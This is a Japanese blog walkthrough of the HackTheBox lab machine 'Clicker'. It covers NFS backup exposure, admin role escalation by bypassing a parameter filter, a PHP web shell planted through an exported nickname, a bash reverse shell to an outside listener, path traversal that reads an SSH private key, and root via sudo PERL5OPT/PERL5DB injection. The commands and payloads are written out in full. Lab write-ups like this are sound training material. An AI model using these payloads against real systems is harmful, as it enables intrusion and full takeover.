今回は、HackTheBoxのMediumマシン「Clicker」のWriteUpです。
名前から連想できる脆弱性はなさそうですね。どのようなマシンなのでしょうか。
グラフは普通のMediumという感じですね。
評価は高そうなので、楽しみです。攻略目指してがんばります!
HackTheBoxってなに?という方はこちらの記事を見てみてください。一緒にハッキングしましょう!
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
Clicker
侵入
それでは、ポートスキャンを行います。nmap
を実行しましょう。
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 89:d7:39:34:58:a0:ea:a1:db:c1:3d:14:ec:5d:5a:92 (ECDSA)
|_ 256 b4:da:8d:af:65:9c:bb:f0:71:d5:13:50:ed:d8:11:30 (ED25519)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://clicker.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
111/tcp open rpcbind syn-ack ttl 63 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 35009/tcp6 mountd
| 100005 1,2,3 35169/udp6 mountd
| 100005 1,2,3 46275/tcp mountd
| 100005 1,2,3 58220/udp mountd
| 100021 1,3,4 34037/tcp6 nlockmgr
| 100021 1,3,4 34799/udp6 nlockmgr
| 100021 1,3,4 44343/tcp nlockmgr
|_ 100021 1,3,4 59823/udp nlockmgr
2049/tcp open nfs syn-ack ttl 63 3-4 (RPC #100003)
33047/tcp open mountd syn-ack ttl 63 1-3 (RPC #100005)
41591/tcp open status syn-ack ttl 63 1 (RPC #100024)
44343/tcp open nlockmgr syn-ack ttl 63 1-4 (RPC #100021)
46275/tcp open mountd syn-ack ttl 63 1-3 (RPC #100005)
51229/tcp open mountd syn-ack ttl 63 1-3 (RPC #100005)
Linuxにしては珍しくポートが結構あいています。
とりあえず、80番があいているのでブラウザでアクセスしてみましょう。
ゲームのサイトでしょうか。説明を見るに、「Clicker」とはゲームの名前を示すようです。
遷移を見てます。サイトの上部に3つのボタンがあり、login
とregister
が可能であることがわかります。
当然、ログイン情報は持っていないので、とりあえず登録を行なってみます。
登録に成功すると、ボタンの下に緑色でメッセージが表示されます。
では、登録した情報を使用してログインしてみましょう。
Welcome pentester
と表示され、ボタンも変更されていることがわかります。
Profile
では、ユーザのクリック数やレベルを確認することができるようです。Play
を押すと、ゲーム画面へ遷移します。
マウスポインターのボタンをクリックすることで、カウントが増えていき、レベルアップボタンを押すことでレベルが上がるといったゲームのようです。
セーブをすると、カウント数とレベルが保存され、プロフィールで確認することができます。
Webページの大体の仕様はわかりましたが、特に脆弱性につながりそうな箇所は見つかりませんでした。
次に、ポートスキャンの結果から、nfs
がオープンしていたことがわかっているので、マウントができるかどうか調べてみます。
$ showmount -e 10.10.11.232
Export list for 10.10.11.232:
/mnt/backups *
/mnt/backups
がマウント可能であることがわかりました。マウントしてみましょう。
$ sudo mount -t nfs 10.10.11.232:/mnt/backups ./mountf -o nolock
特にエラーが出なければ成功です。フォルダにアクセスし、どのようなファイルが存在するかみてみます。
$ ls -l mountf/
total 2232
-rw-r--r-- 1 root root 2284115 Sep 2 05:27 clicker.htb_backup.zip
zipファイルを発見しました。コピーし、解凍してみましょう。
$ unzip clicker.htb_backup.zip
Archive: clicker.htb_backup.zip
creating: clicker.htb/
inflating: clicker.htb/play.php
inflating: clicker.htb/profile.php
inflating: clicker.htb/authenticate.php
inflating: clicker.htb/create_player.php
inflating: clicker.htb/logout.php
creating: clicker.htb/assets/
... 略 ...
inflating: clicker.htb/assets/css/bootstrap.css
inflating: clicker.htb/assets/css/bootstrap-reboot.css.map
inflating: clicker.htb/login.php
inflating: clicker.htb/admin.php
inflating: clicker.htb/info.php
inflating: clicker.htb/diagnostic.php
inflating: clicker.htb/save_game.php
inflating: clicker.htb/register.php
inflating: clicker.htb/index.php
inflating: clicker.htb/db_utils.php
creating: clicker.htb/exports/
inflating: clicker.htb/export.php
どうやらWebサイトで使用されているファイルのようです。
認証情報や脆弱なコードを発見できそうです。一つずつ確認していきます。
ロールの権限昇格
一通り確認し終わりました。
まず、コードを読んでいくとわかることとしてゲームに登録したプレイヤーにはロールが付与されます。デフォルトではUser
です。
function create_new_player($player, $password) {
global $pdo;
$params = ["player"=>$player, "password"=>hash("sha256", $password)];
$stmt = $pdo->prepare("INSERT INTO players(username, nickname, password, role, clicks, level) VALUES (:player,:player,:password,'User',0,0)");
$stmt->execute($params);
}
ロールには、User
の他に、Admin
という権限が存在し、Admin
権限を持つユーザのみadmin.php
へアクセス可能であるようです。
echo '<a class="nav-link fw-bold py-1 px-0 active" href="/profile.php">Profile</a>';
echo '<a class="nav-link fw-bold py-1 px-0 active" href="/logout.php">Logout</a>';
echo '<a class="nav-link fw-bold py-1 px-0 active" href="/play.php">Play</a>';
if ($_SESSION["ROLE"] == "Admin") {
echo '<a class="nav-link fw-bold py-1 px-0 active" href="/admin.php">Administration</a>';
}
admin.php
では、export.php
を使用しトッププレイヤーの情報をエクスポートすることが可能であるようです。
export.php
の内容をみてみましょう。
if (isset($_POST["threshold"]) && is_numeric($_POST["threshold"])) {
$threshold = $_POST["threshold"];
}
$data = get_top_players($threshold);
$currentplayer = get_current_player($_SESSION["PLAYER"]);
$s = "";
if ($_POST["extension"] == "txt") {
$s .= "Nickname: ". $currentplayer["nickname"] . " Clicks: " . $currentplayer["clicks"] . " Level: " . $currentplayer["level"] . "\n";
foreach ($data as $player) {
$s .= "Nickname: ". $player["nickname"] . " Clicks: " . $player["clicks"] . " Level: " . $player["level"] . "\n";
}
} elseif ($_POST["extension"] == "json") {
$s .= json_encode($currentplayer);
$s .= json_encode($data);
} else {
$s .= '<table>';
$s .= '<thead>';
$s .= ' <tr>';
$s .= ' <th scope="col">Nickname</th>';
$s .= ' <th scope="col">Clicks</th>';
$s .= ' <th scope="col">Level</th>';
$s .= ' </tr>';
$s .= '</thead>';
$s .= '<tbody>';
$s .= ' <tr>';
$s .= ' <th scope="row">' . $currentplayer["nickname"] . '</th>';
$s .= ' <td>' . $currentplayer["clicks"] . '</td>';
$s .= ' <td>' . $currentplayer["level"] . '</td>';
$s .= ' </tr>';
foreach ($data as $player) {
$s .= ' <tr>';
$s .= ' <th scope="row">' . $player["nickname"] . '</th>';
$s .= ' <td>' . $player["clicks"] . '</td>';
$s .= ' <td>' . $player["level"] . '</td>';
$s .= ' </tr>';
}
$s .= '</tbody>';
$s .= '</table>';
}
$filename = "exports/top_players_" . random_string(8) . "." . $_POST["extension"];
file_put_contents($filename, $s);
header('Location: /admin.php?msg=Data has been saved in ' . $filename);
?>
このコードでは、$_POST["extension"]
で指定された拡張子でファイルを作成し、exports
配下に保存しています。txt
とjson
でなくとも指定可能であるため、php
を指定することでWebシェルを作成できそうです。
つまり、ロールの権限をAdmin
にすることさえ成功すれば侵入できるということです。
では、どうやってロールの権限をAdmin
にするのでしょうか。その答えはゲームの情報を保存する処理にありました。
function save_profile($player, $args) {
global $pdo;
$params = ["player"=>$player];
$setStr = "";
foreach ($args as $key => $value) {
$setStr .= $key . "=" . $pdo->quote($value) . ",";
}
$setStr = rtrim($setStr, ",");
$stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
$stmt -> execute($params);
}
上のコードでは、$args
で送られてきた値をそれに対応するvalue
で更新しています。
実際にゲーム情報を保存するときに送信されているリクエストをみてみましょう。
GET /save_game.php?clicks=20&level=0 HTTP/1.1
Host: clicker.htb
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://clicker.htb/play.php
Upgrade-Insecure-Requests: 1
clicks
とlevel
が送られてきています!
これらに対応する値(20、0)が保存されているわけです。勘のいい方はもうお気づきかもしれません。そうです。ロールを変更したいのであれば、同じようにパラメータにrole
を追加してあげればいいのです。
role
を追加し、リクエストを送信してみましょう。
エラーが表示されてしまいました。。。
あれ?と思いみてみると、フィルター処理を行なっているコードを発見しました。
<?php
session_start();
include_once("db_utils.php");
if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") {
$args = [];
foreach($_GET as $key=>$value) {
if (strtolower($key) === 'role') {
// prevent malicious users to modify role
header('Location: /index.php?err=Malicious activity detected!');
die;
}
$args[$key] = $value;
}
save_profile($_SESSION['PLAYER'], $_GET);
// update session info
$_SESSION['CLICKS'] = $_GET['clicks'];
$_SESSION['LEVEL'] = $_GET['level'];
header('Location: /index.php?msg=Game has been saved!');
}
?>
GETパラメータとしてrole
が存在していた場合に攻撃だとして処理を終了させる処理がありました。。。
もしかして違う方向を向いていたかなと一瞬思ったのですが、みてください。フィルターは完全一致で照合しています。そのため、少しでも違う形でリクエストを通すことができればうまくいくということです。
普段からCTFをやっていることもあり、慣れていました。様々な方法がありますが、私は%09
をrole
の前に付与し、再度リクエストを送信します。
うまく保存できたようです!
ここからが重要です!再度、ログインをし直す必要があります!
私はログインをし直す必要があると気づかず、いつまで経ってもadmin.php
にアクセスできなかったのでかなりの時間を無駄にしてしまいました。泣
再ログインすると、Administration
というボタンが表示されているはずです。
ロールの権限昇格に成功しました!
Webシェルの作成
それでは、Administration
にアクセスしてみましょう。
トッププレイヤーが表示されており、画面下には拡張子を選ぶリストとExport
ボタンがあります。
先ほども記述させていただきましたが、この拡張子を任意のもの(php)に変換し、Webシェルを作成します。
問題は、どのようにしてシェルを実行するPHPコードを埋め込むかです。export.php
では、トッププレイヤーのnickname
とclicks
、level
をファイル内に埋め込むようなので、まず自分自身をトッププレイヤーにする必要があります。
これは簡単です。トッププレイヤーになる条件はclicks
数が1000000
以上であればいいので、role
をAdmin
にしたように、clicks
も1000000
へ変更しましょう。
作成したユーザがトッププレイヤーになりました!
あとは、PHPコードを埋め込む方法ですが、nickname
を変更することで実現できます。
下記のようなリクエストを送信しましょう。
GET /save_game.php?clicks=1000000&level=1&nickname=%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%24%5f%47%45%54%5b%27%63%6d%64%27%5d%29%3b%20%3f%3e HTTP/1.1
nickname
に指定したのは、PHPコードをURLエンコードさせたものです。
こうすることで、ランキングのニックネーム欄が空欄になっていると思います。
あとはエクスポートするだけです。
拡張子のパラメータをPHPに変更し、リクエストを送信しましょう。
PHPファイルが保存されました!
cmd=whoami
を指定し、アクセスしてみましょう。
コマンドが実行できました!
www-data としてのシェル
それでは、シェルを取得しましょう。
GET /exports/top_players_cq0d791j.php?cmd=%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%34%2f%32%31%32%31%20%30%3e%26%31%22
(bash -c "bash -i >& /dev/tcp/10.10.14.4/2121 0>&1")
待ち受けを確認します。
$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.232] 55112
bash: cannot set terminal process group (1256): Inappropriate ioctl for device
bash: no job control in this shell
www-data@clicker:/var/www/clicker.htb/exports$ whoami
whoami
www-data
侵入成功です!
横移動
それでは、引き続き攻略を続けていきましょう。
まずは、ホームディレクトリを確認し、どのようなユーザがいるかみてみます。
www-data@clicker:/home$ ls -la
ls -la
total 12
drwxr-xr-x 3 root root 4096 Sep 5 19:19 .
drwxr-xr-x 18 root root 4096 Sep 5 19:19 ..
drwxr-x--- 7 jack jack 4096 Sep 6 12:30 jack
jack
の存在を確認しました。
ディレクトリへはアクセスできないようなので、他にjack
に権限があるファイルやディレクトリが存在しないかみてみましょう。
www-data@clicker:/tmp$ find / -user jack 2>/dev/null
find / -user jack 2>/dev/null
/home/jack
/var/crash/_opt_manage_execute_query.1000.crash
/opt/manage
/opt/manage/README.txt
/opt/manage/execute_query
明らかに怪しさそうなバイナリが/opt
配下にあることがわかりました。
とりあえず、README.txt
をみてみましょう。
www-data@clicker:/opt/manage$ cat README.txt
cat README.txt
Web application Management
Use the binary to execute the following task:
- 1: Creates the database structure and adds user admin
- 2: Creates fake players (better not tell anyone)
- 3: Resets the admin password
- 4: Deletes all users except the admin
どうやら、execute_query
は実行と同時に指定した引数に応じてSQLに関する処理を行うようです。
さらに詳しくみてみるため、ローカルにダウンロードしGhidra
で解析してみましょう。
解析してみると、メイン関数で気になる処理を発見しました。
undefined8 main(int param_1,long param_2)
{
local_20 = *(long *)(in_FS_OFFSET + 0x28);
if (param_1 < 2) {
puts("ERROR: Invalid arguments");
uVar2 = 2;
goto LAB_001015e1;
case 1:
strncpy(pcVar3,"create.sql",0x14);
break;
case 2:
strncpy(pcVar3,"populate.sql",0x14);
break;
case 3:
strncpy(pcVar3,"reset_password.sql",0x14);
break;
case 4:
strncpy(pcVar3,"clean.sql",0x14);
break;
default:
strncpy(pcVar3,*(char **)(param_2 + 0x10),0x14);
}
local_98 = 0x616a2f656d6f682f;
local_90 = 0x69726575712f6b63;
local_88 = 0x2f7365;
sVar4 = strlen((char *)&local_98);
sVar5 = strlen(pcVar3);
__dest = (char *)calloc(sVar5 + sVar4 + 1,1);
strcat(__dest,(char *)&local_98);
strcat(__dest,pcVar3);
setreuid(1000,1000);
iVar1 = access(__dest,4);
if (iVar1 == 0) {
local_78 = 0x6e69622f7273752f;
local_70 = 0x2d206c7173796d2f;
local_68 = 0x656b63696c632075;
local_60 = 0x6573755f62645f72;
local_58 = 0x737361702d2d2072;
local_50 = 0x6c63273d64726f77;
local_48 = 0x62645f72656b6369;
local_40 = 0x726f77737361705f;
local_38 = 0x6b63696c63202764;
local_30 = 0x203c20762d207265;
local_28 = 0;
sVar4 = strlen((char *)&local_78);
sVar5 = strlen(pcVar3);
pcVar3 = (char *)calloc(sVar5 + sVar4 + 1,1);
strcat(pcVar3,(char *)&local_78);
strcat(pcVar3,__dest);
system(pcVar3);
}
else {
puts("File not readable or not found");
}
uVar2 = 0;
}
LAB_001015e1:
if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
return uVar2;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
case文の1から4はREADME.txt
で確認した通りの内容ですが、そのほかにデフォルトの挙動があるようです。
デフォルトの挙動が一体何をしているのかというと、param_2
で指定したファイルパスに対して/home/jack/queries
を追加し、完全なファイルパスを作成。その後、そのファイルを読み取っています!
試しに、/etc/passwd
を読み取らせてみましょう。注意点としては、/home/jack/queries/etc/passwd
になってしまうので、../../../etc/passwd
を指定する必要があります。
また、前提としてparam_1
は2以上である必要があるので、デフォルトにするためには、2から4以外の数字を指定します。
www-data@clicker:/opt/manage$ ./execute_query 5 ../../../etc/passwd
./execute_query 5 ../../../etc/passwd
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
読み取ることができました!
それでは、SSH鍵が取得できるか試してみましょう。
www-data@clicker:/opt/manage$ ./execute_query 5 ../.ssh/id_rsa
./execute_query 5 ../.ssh/id_rsa
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
-----BEGIN OPENSSH PRIVATE KEY---
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAs4eQaWHe45iGSieDHbraAYgQdMwlMGPt50KmMUAvWgAV2zlP8/1Y
J/tSzgoR9Fko8I1UpLnHCLz2Ezsb/MrLCe8nG5TlbJrrQ4HcqnS4TKN7DZ7XW0bup3ayy1
kAAZ9Uot6ep/ekM8E+7/39VZ5fe1FwZj4iRKI+g/BVQFclsgK02B594GkOz33P/Zzte2jV
Tgmy3+htPE5My31i2lXh6XWfepiBOjG+mQDg2OySAphbO1SbMisowP1aSexKMh7Ir6IlPu
nuw3l/luyvRGDN8fyumTeIXVAdPfOqMqTOVECo7hAoY+uYWKfiHxOX4fo+/fNwdcfctBUm
pr5Nxx0GCH1wLnHsbx+/oBkPzxuzd+BcGNZp7FP8cn+dEFz2ty8Ls0Mr+XW5ofivEwr3+e
30OgtpL6QhO2eLiZVrIXOHiPzW49emv4xhuoPF3E/5CA6akeQbbGAppTi+EBG9Lhr04c9E
2uCSLPiZqHiViArcUbbXxWMX2NPSJzDsQ4xeYqFtAAAFiO2Fee3thXntAAAAB3NzaC1yc2
EAAAGBALOHkGlh3uOYhkongx262gGIEHTMJTBj7edCpjFAL1oAFds5T/P9WCf7Us4KEfRZ
KPCNVKS5xwi89hM7G/zKywnvJxuU5Wya60OB3Kp0uEyjew2e11tG7qd2sstZAAGfVKLenq
f3pDPBPu/9/VWeX3tRcGY+IkSiPoPwVUBXJbICtNgefeBpDs99z/2c7Xto1U4Jst/obTxO
TMt9YtpV4el1n3qYgToxvpkA4NjskgKYWztUmzIrKMD9WknsSjIeyK+iJT7p7sN5f5bsr0
RgzfH8rpk3iF1QHT3zqjKkzlRAqO4QKGPrmFin4h8Tl+H6Pv3zcHXH3LQVJqa+TccdBgh9
cC5x7G8fv6AZD88bs3fgXBjWaexT/HJ/nRBc9rcvC7NDK/l1uaH4rxMK9/nt9DoLaS+kIT
tni4mVayFzh4j81uPXpr+MYbqDxdxP+QgOmpHkG2xgKaU4vhARvS4a9OHPRNrgkiz4mah4
SSH鍵を取得できました!
jack としてのシェル
それでは、SSH接続を行いましょう。
接続する前に、鍵のフォーマットを正しく修正することを忘れないでください。
$ ssh -i jack_id_rsa jack@10.10.11.232
jack@clicker:~$ whoami
jack
横移動に成功しました!
jack@clicker:~$ ls -l
total 8
drwx------ 2 jack jack 4096 Sep 5 19:19 queries
-rw-r----- 1 root jack 33 Jan 1 06:37 user.txt
フラグも無事取得できました!
権限昇格
攻略もいよいよ終盤です!
それでは、お決まりのsudo -l
から実行してみましょう。
jack@clicker:~$ sudo -l
Matching Defaults entries for jack on clicker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jack may run the following commands on clicker:
(ALL : ALL) ALL
(root) SETENV: NOPASSWD: /opt/monitor.sh
monitor.sh
がroot権限で実行できること、そして環境変数を変更できることがわかりました。
まずは、どのようなスクリプトなのかみてみましょう。
jack@clicker:/opt$ cat monitor.sh
#!/bin/bash
if [ "$EUID" -ne 0 ]
then echo "Error, please run as root"
exit
fi
set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;
data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
exit;
else
timestamp=$(/usr/bin/date +%s)
/usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi
コードをみるに、curl
で取得したデータに対してxml_pp
を実行し、$NOSAVE
がfalse
の場合に、xmlファイルを保存するスクリプトのようです。
xml_pp
をよく知らなかったので、調べてみました。
どうやら、XMLプリンターで、perlモジュールの一部であるようです。
スクリプト上に怪しい点を見つけれなかった私は、環境変数による権限昇格が行えないかみてみました。すると、下記の記事を発見しました。
この記事では、各言語の環境変数によるハッキング手法がまとめられています。その中の一つにperlがあり、PERL5OPT
を使用することで、コマンドを実行していることがわかりました。
もう少し、詳しくみてみたいと思ったので、さらに検索し深掘ってみるとコマンド実行についてわかりやすい記事を発見しました。
どうやら、PERL5OPT
はオプションを指定するもののようです。実際にコマンドを読み込むのはPERL5DB
のようです。
例だと、Perlスクリプトを実行しているようですが、通常のコマンドも実行できるか試してみましょう。
$ sudo PERL5OPT=-d PERL5DB="BEGIN {'whoami'}" /opt/monitor.sh
No DB::DB routine defined at /usr/bin/xml_pp line 9.
No DB::DB routine defined at /usr/lib/x86_64-linux-gnu/perl-base/File/Temp.pm line 870.
END failed--call queue aborted.
うまくいきません。指定の仕方を間違えているのでしょう。
もう少し調べてみることにしました。
しばらく調べていると、ドンピシャな記事を発見しました!
記事によると、PERL5OPT=-d PERL5DB='system("ls -la");'
で実行できるようです。
早速試してみましょう。
jack@clicker:/opt$ sudo PERL5OPT=-d PERL5DB='system("whoami");' /opt/monitor.sh
root
No DB::DB routine defined at /usr/bin/xml_pp line 9.
No DB::DB routine defined at /usr/lib/x86_64-linux-gnu/perl-base/File/Temp.pm line 870.
END failed--call queue aborted.
また失敗か?と一瞬思いましたが、一番上にroot
と出力されています!
これはきました!/bin/bash
にSUIDが付与できるかも試してみましょう。
$ sudo PERL5OPT=-d PERL5DB='system("chmod u+s /bin/bash");' /opt/monitor.sh
No DB::DB routine defined at /usr/bin/xml_pp line 9.
No DB::DB routine defined at /usr/lib/x86_64-linux-gnu/perl-base/File/Temp.pm line 870.
END failed--call queue aborted.
特に出力はなしです。
権限を確認しましょう。
$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1396520 Jan 6 2022 /bin/bash
きました〜〜〜〜!!
root としてのシェル
それでは、権限昇格を行いましょう!
jack@clicker:/opt$ bash -p
bash-5.1# whoami
root
権限昇格成功です!
bash-5.1# ls -l /root
total 12
drwxr-xr-x 2 root root 4096 Jan 1 11:30 diagnostic_files
drwxr-xr-x 2 root root 4096 Sep 5 19:19 restore
-rw-r----- 1 root root 33 Jan 1 06:37 root.txt
フラグも取得し、完全攻略達成です〜〜!
攻略を終えて
かなり楽しいマシンでした!特に、初期侵入は少しCTF要素もある感じがしましたが、記事でも書いたように、adminに昇格したときに再ログインが必要であることに気付かず結構時間を使ってしまったのが悔しかったです笑
最後の権限昇格では、Perlの環境変数を悪用するアプローチということで、そういった攻撃手法があるというのは知りつつも実際に試したことはなかったので貴重な経験でした。
足がかりはNFSからコードを確認することでした。HackTheBoxでNFSが開いていると怪しさ満点ですが、実社会でもアクセス制御を行わずに使用していることもあるかもしれません。適切な制御を呼びかけていきたいなと思います。
今後も、HackTheBoxのWriteUpを公開していきますので、みていただけると嬉しいです!
最後まで閲覧していただき、ありがとうございました〜!